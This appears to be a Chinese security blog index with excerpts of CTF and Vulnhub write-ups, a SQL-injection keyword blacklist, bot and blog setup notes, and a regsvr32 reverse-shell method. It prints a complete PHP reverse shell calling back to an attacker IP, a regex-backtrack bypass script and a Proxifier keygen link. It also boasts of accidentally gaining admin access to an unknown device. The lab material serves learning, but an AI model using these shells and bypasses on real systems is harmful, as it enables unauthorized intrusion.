BTRsys-2
来源:Vulnhub
难度:Easy

fscan扫描可知开放了ftp和网页端,其中ftp允许匿名登录,但尝试登陆后没有文件,所以先将注意力放在web页面,对其进行目录扫描发现robots.txt,并发现隐藏的/wordpress目录,访问发现是wordpress博客,在页面中找到登录地址,使用弱口令admin/admin进入后台
在后台一番查找,尝试以文件上传等方式getshell均失败,看提示得知可以通过修改博客的主题外观插件来getshell,我们先修改其主题外观插件的404页面
使用在线生成shell网站:https://shell.nctry.com/
生成php反弹shell:
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.36.132';
$port = 10000;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0);
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
网站上还有很多其他的反弹shell,实战时可根据自己需求选择,修改404页面结果如下:

我们使用nc -lvnp 10000
先开启监听,然后访问一个不存在的页面以触发404页面
官方做法:访问插件404页面路径位置 “/wp-content/themes/twentyfourteen/404.php”
即可获得一个反弹shell
随后使用两个经典linux提权脚本:
1.linux-exploit-suggester
https://github.com/The-Z-Labs/linux-exploit-suggester
2.linpeas.sh
https://github.com/peass-ng/PEASS-ng/releases
按照脚本给出的提权建议一个个尝试即可成功提权
Read More
Sql注入
1.常见的SQL注入漏洞主要是由于程序开发过程中不注意规范书写Sql语句以及对特殊字符的不严格过滤,从而导致客户端可以通过全局变量POST和GET提交恶意代码。
2.Fix:基于黑名单、转义、报错
过滤
$filter = "regexp|from|count|procedure|and|ascii|substr|substring|left|right|union|if|case|pow|exp|order|sleep|benchmark|into|load|outfile|dumpfile|load_file|join|show|select|update|set|concat|delete|alter|insert|create|union|or|drop|not|for|join|is|between|group_concat|like|where|user|ascii|greatest|mid|substr|left|right|char|hex|ord|case|limit|conv|table|mysql_history|flag|count|rpad|\&|\*|\.|-";
if((preg_match("/".$filter."/is",$username)== 1) || (preg_match("/".$filter."/is",$password)== 1)){
die();
}
转义
详见EasySQL加固题,这里提供几个函数:
addslashes()
PS:PHP 5.4 之前 PHP 指令 magic_quotes_gpc 默认是 on, 实际上所有的 GET、POST 和 COOKIE 数据都用被 addslashes() 了。 不要对已经被 magic_quotes_gpc 转义过的字符串使用 addslashes(),因为这样会导致双层转义。 遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测
控制错误信息:
php代码开头添加语句:error_reporting(0);
Read More
Here's something encrypted, password is required to continue reading.
Read More
鸣谢
xiaozhao为本项目的测试工作给予了很大帮助,感谢
这里是他的博客地址:https://aaaaaaamua.github.io
简述
因为实验室群需要统计最后发言时间,于是写了一个微信机器人,代码和注意事项已经存放在github上,这里仅作个人记录,并备份主程序和部分程序代码
项目地址:https://github.com/hustler0000/ALinuxSimpleWxbot/
帮助/功能文档
机器人会默默记下群成员的最后发言时间,@机器人发消息可以触发指令,机器人每天会在群内推送新闻消息,每个小时都会自动微信发送存活信息到我微信
改昵称必看(重要)
roomname 群昵称 新老群成员可以使用这个修改在数据库里的群昵称,方便机器人称呼和统计最后发言时间,此功能只有在自己修改了群昵称后需要操作一次
username 群昵称 此指令可以修改在数据库里的微信昵称,如果机器人没有提示请不要操作
以上两条指令,如无必要请不要操作,并且不要同时修改群昵称和微信昵称,不然机器人可能会坏掉
常规指令
help 显示本帮助文档
last 显示本人最后发言时间
search 某人 输出某人的最后发言时间
all 输出一个文件,里面是所有人的最后发言时间
check 检查机器人存活状态
feedback 反馈内容 发送反馈
Read More
鸣谢
xiaozhao为本项目的测试工作给予了很大帮助,感谢
这里是他的博客地址:https://aaaaaaamua.github.io
简述
因为实验室群需要统计最后发言时间,于是写了一个微信机器人,代码和注意事项已经存放在github上,这里仅作个人记录,并备份主程序和部分程序代码
项目地址:https://github.com/hustler0000/AWindowsSimpleWxbot/
帮助/功能文档
机器人会默默记下群成员的最后发言时间,@机器人发消息可以触发指令,机器人每天会在群内推送新闻消息,每个小时都会自动微信发送存活信息到我微信,还会每月定时提醒和清理未发言的成员,这个版本比linux版本要强大,但问题是微信版本有限制
机器人会默默记下群成员的最后发言时间,@机器人发消息可以触发指令
常规指令:
help 显示本帮助文档
last 显示本人最后发言时间
search 路人甲,路人乙 输出一个或多个成员的最后发言时间的最后发言时间,要搜索的每个成员之间用英文逗号隔开
all 输出一个文件,里面是所有人的最后发言时间
check 检查机器人存活状态
feedback 反馈内容 发送反馈
注意事项
注意!在群里要积极发言哦!每个月25号会在群内通知这个月还没有发言过的群成员,每个月最后一天清除群内未发言群成员,希望大家珍惜在群里的机会呀!
当有群成员使用发送反馈时,机器人会向你的主微信账号发送反馈内容,当有新群员加入并发言时,机器人会自动记录,如果新人一个月没有发言也将被移出
为了方便地手动操作数据库,还有一个sqlop.py文件,这个python程序提供了简单管理sqlite数据库的条件,运行该程序,并输入相应数据库语句来对你的数据库进行操作。
用get请求访问服务器8080端口下的/check 路径可以检查机器人是否掉线
Read More
简述
因为想总结一下博客的搭建过程,但是忘记都改了什么地方,所以干脆直接重新搭建一次好了
基本安装
首先我们要在设备上安装nodejs,我这里使用的是termux环境,其他linux环境和windows环境应该大同小异,执行以下命令以安装基础包:
pkg install nodejs
然后安装hexo,这里是hexo官方的安装方法
npm install hexo-cli -g
hexo init blog
cd blog
npm install
hexo server
主题安装
这里安装了freemind-bithack这个主题,后面我们会改动这个主题,使其更加实用
安装命令:
cd blog/theme
git clone https://github.com/Ares-X/hexo-theme-freemind.bithack
mv hexo-theme-freemind.bithack freemind.bithack
npm install hexo-tag-bootstrap --save
npm install hexo-generator-search --save
Read More
小程序抓包
工具准备
先在官网下载抓包工具以及proxifier官方版本:
https://www.proxifier.com/download/
然后下载proxifier破解注册机:
https://github.com/y9nhjy/Proxifier-Keygen
在安装了proxifier的机器上运行注册机,得到序列码,激活并运行proxifier
基本配置
Burpsuit
在Proxy—->Options里设置代理端口等,我这里设置了监听本地8080端口:

然后点击下方的“Import/export CA certificate”,将证书文件导出,然后win+r,输入certmgr.msc打开证书管理器,在“受到信任的证书”处点击,右键导入新的证书:

然后将burp的证书导入
Burp小技巧
启用远程代理
我们进入Proxy选项的设置中,在proxy listener处添加一个有specific address的代理,这里的specific address填写抓包电脑的内网地址,端口填写想要的端口:

设置好之后就可以让局域网中的其他设备通过burp的代理抓包了
启用HTTP 1.0
Read More
题目来源:2023MOECTF
题目简述
题目给出了这样的代码:
<?php
highlight_file(__FILE__);
require_once('Hanxin.exe.php');
$Chant = isset($_GET['chant']) ? $_GET['chant'] : '夺命十三枪';
$new_visitor = new Omg_It_Is_So_Cool_Bring_Me_My_Flag($Chant);
$before = serialize($new_visitor);
$after = Deadly_Thirteen_Spears::Make_a_Move($before);
echo 'Your Movements: ' . $after . '<br>';
try{
echo unserialize($after);
}catch (Exception $e) {
echo "Even Caused A Glitch...";
}
?>
提示有Hanxin.exe.php的页面,打开查看:
<?php
if (basename($_SERVER['SCRIPT_FILENAME']) === basename(__FILE__)) {
highlight_file(__FILE__);
}
class Deadly_Thirteen_Spears{
private static $Top_Secret_Long_Spear_Techniques_Manual = array(
"di_yi_qiang" => "Lovesickness",
"di_er_qiang" => "Heartbreak",
"di_san_qiang" => "Blind_Dragon",
"di_si_qiang" => "Romantic_charm",
"di_wu_qiang" => "Peerless",
"di_liu_qiang" => "White_Dragon",
"di_qi_qiang" => "Penetrating_Gaze",
"di_ba_qiang" => "Kunpeng",
"di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts",
"di_shi_qiang" => "Overlord",
"di_shi_yi_qiang" => "Letting_Go",
"di_shi_er_qiang" => "Decisive_Victory",
"di_shi_san_qiang" => "Unrepentant_Lethality"
);
public static function Make_a_Move($move){
foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement){
$move = str_replace($index, $movement, $move);
}
return $move;
}
}
class Omg_It_Is_So_Cool_Bring_Me_My_Flag{
public $Chant = '';
public $Spear_Owner = 'Nobody';
function __construct($chant){
$this->Chant = $chant;
$this->Spear_Owner = 'Nobody';
}
function __toString(){
if($this->Spear_Owner !== 'MaoLei'){
return 'Far away from COOL...';
}
else{
return "Omg You're So COOOOOL!!! " . getenv('FLAG');
}
}
}
?>
同时,网页下面还有这样的回显:
Your Movements: O:34:”Omg_It_Is_So_Cool_Bring_Me_My_Flag”:2:{s:5:”Chant”;s:15:”夺命十三枪”;s:11:”Spear_Owner”;s:6:”Nobody”;}
Far away from COOL…
注意:在php中,中文的字符串长度是根据所占字节来决定的,utf-8编码下每个中文字符所占字节为3,所以夺命十三枪的长度是15
题目的大致意思,是让我们通过chant传参,将Spear_Owner改为Maolei,同时,我们传入的参数会根据一定规则被替换
Read More
简述
最近做了一些题目,总结一下关于preg_match()绕过技巧:
最大回溯次数绕过 无版本限制
在php中,为了防止正则表达式的贪婪匹配遇到过长的字符串时响应太慢,甚至系统崩溃的问题,php限制了回溯次数,一旦超过这个次数,preg_match函数就会返回false,所以我们可以构建一个超长的字符串来使preg_match返回false,举个例子:
/sys.*nb/is
以上是一个正则表达式,用于匹配sysnb,且不管sys和nb中间出现什么都会匹配到sysnb。
这是我们可以输入一个字符串,sysnb在开头,然后后面加上垃圾字符(重复使用相同的字符可能会被发现),当preg_match识别到sys,它并不会马上识别后面的nb,由于贪婪匹配的原因,它会从字符串的最后开始数,直至遇见nb,但是我们的nb在最前面,它一直回溯就会超过最大次数,于是返回false,以下给出脚本:
import requests
a='acb'*1000000
string="sys nb"+a
data = {
"xdmtql":string
}
r = requests.post("http://af277385-c08e-4b09-8a79-374fc1f553d5.www.polarctf.com:8090/",data=data)
print(r.text)
需要注意的是,如果正则为:
/sys.*?nb/is
这种办法就没用了,因为”?”将贪婪匹配转为了懒惰匹配,只匹配到一个sysnb就收工。同时如果preg使用了强等于,即===,此方法也失效
注意:具体的最大回溯次数可以在phpinfo中的PCRE项的配置中查看
Read More
简述
最近在渗透一台比较老,环境比较不完整的机子时,尝试反弹shell出了很多乱七八糟的问题,在尝试nc,msf等常规上传方法失败后,找到一种小众的方法,通过windows自带的regsvr32反注册dll文件来反弹shell,用nc连接
具体方法
先下载这个MFC服务配置端:
MFC服务配置端口
首先我们先在这个MFC服务配置端里根据目标的架构生成dll文件:

ip地址填自己的ip,端口号选择一个喜欢的,其他信息随便填(不填也可以),下面根据架构,点击生成dll文件
在本地开启nc的端口监听,将dll上传到目标机器,使用指令:
regsvr32 /s /u 你上传的server.dll文件
来反弹shell,当nc有反应,就代表连接成功
吐槽
我用这个方法,虽然成功反弹了shell,但神奇的是,反弹的不是我上传的目标机器的shell,而是反弹了一台不知道是什么设备的shell,而且里面还有重要文件,权限也是admin,赚麻了,也怕了。十分恶心的是,这个shell不仅10秒断一次,而且每次重连还要换端口,恶心人有个度啊。
Read More